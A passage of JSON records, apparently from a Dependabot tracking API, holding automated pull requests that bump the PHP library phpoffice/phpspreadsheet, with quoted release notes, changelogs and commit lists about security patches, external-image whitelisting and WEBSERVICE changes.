href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4618\"\u003ePHPOffice/PhpSpreadsheet#4618\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eRemove \u003ccode\u003eimagedestroy\u003c/code\u003e from MemoryDrawing. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4625\"\u003e#4625\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4625\"\u003ePHPOffice/PhpSpreadsheet#4625\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCompatibility changes for Php 8.5. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4600\"\u003e#4600\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4600\"\u003ePHPOffice/PhpSpreadsheet#4600\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4614\"\u003e#4614\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4614\"\u003ePHPOffice/PhpSpreadsheet#4614\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4594\"\u003e#4594\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4594\"\u003ePHPOffice/PhpSpreadsheet#4594\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4588\"\u003e#4588\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4588\"\u003ePHPOffice/PhpSpreadsheet#4588\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/ec7815be350e03df90f3e2ace92653fa6cb4327c\"\u003e\u003ccode\u003eec7815b\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/78bf6f0b4945ab31f1935741324ef3f0bf59a6fe\"\u003e\u003ccode\u003e78bf6f0\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2359c5ac5a532ded22c9649ebd3598dfda6fec44\"\u003e\u003ccode\u003e2359c5a\u003c/code\u003e\u003c/a\u003e Option to Whitelist External Images 2.4.x (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4852\"\u003e#4852\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1f8d2fd7f2709fb63c495c3b30d601796fded029\"\u003e\u003ccode\u003e1f8d2fd\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/140a593662a1dbd10f31322fe93c7714dc7359ca\"\u003e\u003ccode\u003e140a593\u003c/code\u003e\u003c/a\u003e Update Copyright 2.4.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/3b204d00c19f9d809f8d2374f408b197f37ad0bd\"\u003e\u003ccode\u003e3b204d0\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/61ceadaa7b0aa7367c946da9f1c8865c0741649e\"\u003e\u003ccode\u003e61ceada\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R222 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4756\"\u003e#4756\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c73b73733a0e7b441f245fb9b80f99da58c7bb2c\"\u003e\u003ccode\u003ec73b737\u003c/code\u003e\u003c/a\u003e Update README With New Branch Names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/679180e5f17b6fac05f8597331bfe1ac7fb9f2b6\"\u003e\u003ccode\u003e679180e\u003c/code\u003e\u003c/a\u003e Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/931ad61fb2c229063fc4e7e665fb52b87249cc56\"\u003e\u003ccode\u003e931ad61\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/2.4.0...2.4.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=2.4.0\u0026new-version=2.4.5)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/UN-OCHA/iasc8/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/UN-OCHA/iasc8/pull/1218","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/UN-OCHA%2Fiasc8/issues/1218","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1218/packages"}},{"old_version":"2.1.0","new_version":"2.1.16","update_type":"patch","path":null,"pr_created_at":"2026-04-28T22:52:11.000Z","version_change":"2.1.0 → 2.1.16","issue":{"uuid":"4346737208","node_id":"PR_kwDOReVOmM7WhEGe","number":5,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 2.1.0 to 2.1.16","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-03T16:55:16.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-28T22:52:11.000Z","updated_at":"2026-05-03T16:55:25.000Z","time_to_close":410585,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"2.1.0","new_version":"2.1.16","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 2.1.0 to 2.1.16.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.16\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.15\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.14\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.13\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.12\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.11\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4546\"\u003e#4546\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4546\"\u003ePHPOffice/PhpSpreadsheet#4546\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.10\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4406\"\u003e#4406\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4406\"\u003ePHPOffice/PhpSpreadsheet#4406\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/2.1.16/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 2.1.16\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 2.1.15\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-01-10 - 2.1.14\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-10-25 - 2.1.13\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.4.0 as of the date when this is being written), 3.10.x (current version is 3.10.3), and 2.4.x (2.4.3).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-08-10 - 2.1.12\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-07-23 - 2.1.11\u003c/h1\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4546\"\u003e#4546\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4546\"\u003ePHPOffice/PhpSpreadsheet#4546\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-06-22 - 2.1.10\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c91ff54b743e3f70f880e7145a9821474cd82f16\"\u003e\u003ccode\u003ec91ff54\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1255154d4a2036a46124b2a87bfa3a92d14843c7\"\u003e\u003ccode\u003e1255154\u003c/code\u003e\u003c/a\u003e Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/59a837f2eb8057a8e983d68587d4920f83266c5d\"\u003e\u003ccode\u003e59a837f\u003c/code\u003e\u003c/a\u003e Option to Whitelist External Images (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4851\"\u003e#4851\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4331d3af1b276b1e40b85a349f57134e81d7d6a5\"\u003e\u003ccode\u003e4331d3a\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/95ef5438c6894a345eee752950381cdc416900d8\"\u003e\u003ccode\u003e95ef543\u003c/code\u003e\u003c/a\u003e Update Copyright Branch 2.1.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4d9863bf273ed491168a1b173330968bc0f21e03\"\u003e\u003ccode\u003e4d9863b\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/202278b0d5f1deb29bfdb12ba727d1240e8ac118\"\u003e\u003ccode\u003e202278b\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/dfa2b1db8071f25685b3d07f79e83244478413ed\"\u003e\u003ccode\u003edfa2b1d\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R210 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4757\"\u003e#4757\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2d0becc39a61b29cfa04c92cb450614a58dd8447\"\u003e\u003ccode\u003e2d0becc\u003c/code\u003e\u003c/a\u003e Update README to Reflect New Branch Names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/0949bee8b9c3e8924852cc56c18d2070b7a443d0\"\u003e\u003ccode\u003e0949bee\u003c/code\u003e\u003c/a\u003e Prep Work for 2.1.13\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/2.1.0...2.1.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=2.1.0\u0026new-version=2.1.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Coricap-RIPA/ripa-backend-one/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Coricap-RIPA/ripa-backend-one/pull/5","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Coricap-RIPA%2Fripa-backend-one/issues/5","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/5/packages"}},{"old_version":"^2.0","new_version":"^5.7","update_type":null,"path":null,"pr_created_at":"2026-04-26T10:44:50.000Z","version_change":"^2.0 → ^5.7","issue":{"uuid":"4330658931","node_id":"PR_kwDOR0M_Gs7VtcLD","number":5,"state":"open","title":"Update phpoffice/phpspreadsheet requirement from ^2.0 to ^5.7","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-26T10:44:50.000Z","updated_at":"2026-04-26T10:44:51.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Update","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"^2.0","new_version":"^5.7","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Updates the requirements on [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca 